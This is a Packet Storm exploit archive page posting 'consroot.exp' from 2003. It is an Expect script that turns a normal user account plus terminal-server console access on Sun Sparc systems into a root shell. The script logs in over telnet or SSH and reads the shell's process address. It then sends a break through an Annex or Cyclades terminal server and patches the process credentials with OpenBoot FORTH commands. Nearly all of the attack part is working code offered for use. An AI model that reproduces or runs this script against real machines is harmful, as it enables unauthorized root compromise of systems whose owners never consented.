exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

consroot.exp

consroot.exp
Posted Jun 21, 2003
Authored by Michael H.G. Schmidt

This script is used to automate escalation of normal user privileges to root making use of FORTH hacking on Sparc hardware.

tags | exploit, root
SHA-256 | 325fd7bf0f7765175435cfc0edb188bbfee72d6c1fa31b5dedf1ab31c371b473

consroot.exp

Change Mirror Download
Hi there,

here is a fully automated script for getting a root shell using a normal user account
and (remote-)console acces. The Script was written by me based on an article
from phrack.com (article #53 - hacking forth by mudge)

---snip---
#
# ---> consroot.exp <---
# by mickeyX 16.6.2003
#
# connects to a SUN and a Terminalserver and hacks the OBP to get a root shell.
# You need:
# - a "normal" user account on a SUN
# - terminalserveraccess on the same SUN
#
# this was tested on:
# - MacOS X version 10.2.6 using expect 5.38.0
# - Solaris 8 using expect 5.25.0
# - ANNEX terminalservers
# - CYCLADES terminalservers
#
# This is just a prototype ! Use with care on other terminalservers !
#
#
set timeout 2
set MODE [lindex $argv 0]
set TARGET [lindex $argv 1]
set UID [lindex $argv 2]
set PW [lindex $argv 3]
set CTYPE [lindex $argv 4]
set TSERVER [lindex $argv 5]
set TPORT [lindex $argv 6]
set TPW [lindex $argv 7]
set LOG log.txt
proc usage {} {
puts "\nusage: expect consroot <
TERMINALSERVER> "
puts "\twhere MODE is one of:"
puts "\t\tT = Target is using TELNET"
puts "\t\tS = Target is using SSH"
puts "\tTARGET = machine to hack"
puts "\tUSER = unprivileged user on target host"
puts "\tPW = password on target host"
puts "\n\twhere CONSOLETYPE is one of:"
puts "\t\tA = Target is connected to Annex Terminalserver"
puts "\t\tC = Target is connected to Cyclades Terminalserver\n"
puts "\tTERMINALSERVER = consoleaccess for target host"
puts "\tPORT = TCP/IP-port (!) on terminalserver where target is connected"
puts "\tTPW = password for terminalserverport\n"
exit 1
}
###
# MAIN
###
if { $argc < 8 } usage
# check for Terminalservertypes...
switch -- $CTYPE \
A {
} C {
} default usage
# check for connect-Mode...
switch -- $MODE \
T { spawn telnet $TARGET
set main_session $spawn_id
expect "ogin:"
send "$UID\n"
expect "assword"
send "$PW\n"
} S { spawn ssh -l $UID $TARGET
set main_session $spawn_id
expect "assword"
send "$PW\n"
} default usage
# start korn-shell...
expect { exp_continue }
send "exec /usr/bin/ksh\n"
# set defined prompt - so we can scan for it...
send "export PS1=PROMPT:\n"
# activate logging for getting credentials Adress...
log_file -noappend $LOG
###
# get adress for OBP-hacking:
###
send "/usr/bin/ps -o addr -p $$\n"
expect "ADDR"
expect "PROMPT:"
set ADRESS [exec sh "-c" "cat $LOG | grep -v PROMPT: | tail -1"]
puts "\nReceived ADRESS from shell was: $ADRESS\n"
###
###
###
# reset logfile...
exec sh "-c" "1>$LOG"
###
# get OS-architecture for OBP-hacking:
###
send "/usr/bin/isainfo -b\n"
expect "*" # clear expect buffer
expect "PROMPT:"
set ARC [exec sh "-c" "cat $LOG | tail -2 | head -1"]
puts "\nReceived Architecture was: $ARC\n"
exec "rm" "-f" "$LOG"
###
###
###
# connect to Terminalserver...
puts "\nPlease wait while connecting to Terminalserver...\n"
spawn telnet -e "#" $TSERVER $TPORT
switch -- $CTYPE \
A { puts "\nstarting Annex connect ...\n"
expect "Port password"
send "$TPW\n"
expect "Permission granted"
} C { puts "\nstarting Cyclades connect ...\n"
expect "Port*:"
send "$TPW\n"
expect "Password:"
send "$TPW\n"
expect "*"
}
# hack OBP...
send "#\n"
expect "telnet"
send "send brk\n"
expect "ok"
# let's ROCK and ROLL !!!
switch -- $ARC \
64 { send "hex 0 $ADRESS 20 + x@ 4 + l!\n"
} 32 { send "hex 0 $ADRESS 14 + l@ 4 + l!\n"
}
expect "ok"
send "go\r"
# deactivate logging...
log_file
exec rm "-f" "$LOG"
# give control to admin...
set spawn_id $main_session
send "\r"
expect "PROMPT:"
send "id\n"
expect "PROMPT:"
interact
---snip---

--
UNIX is like a wigwam: no windows, no gates, apache inside, stable.
Windows is not the answer - it's the question. No is the answer.

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close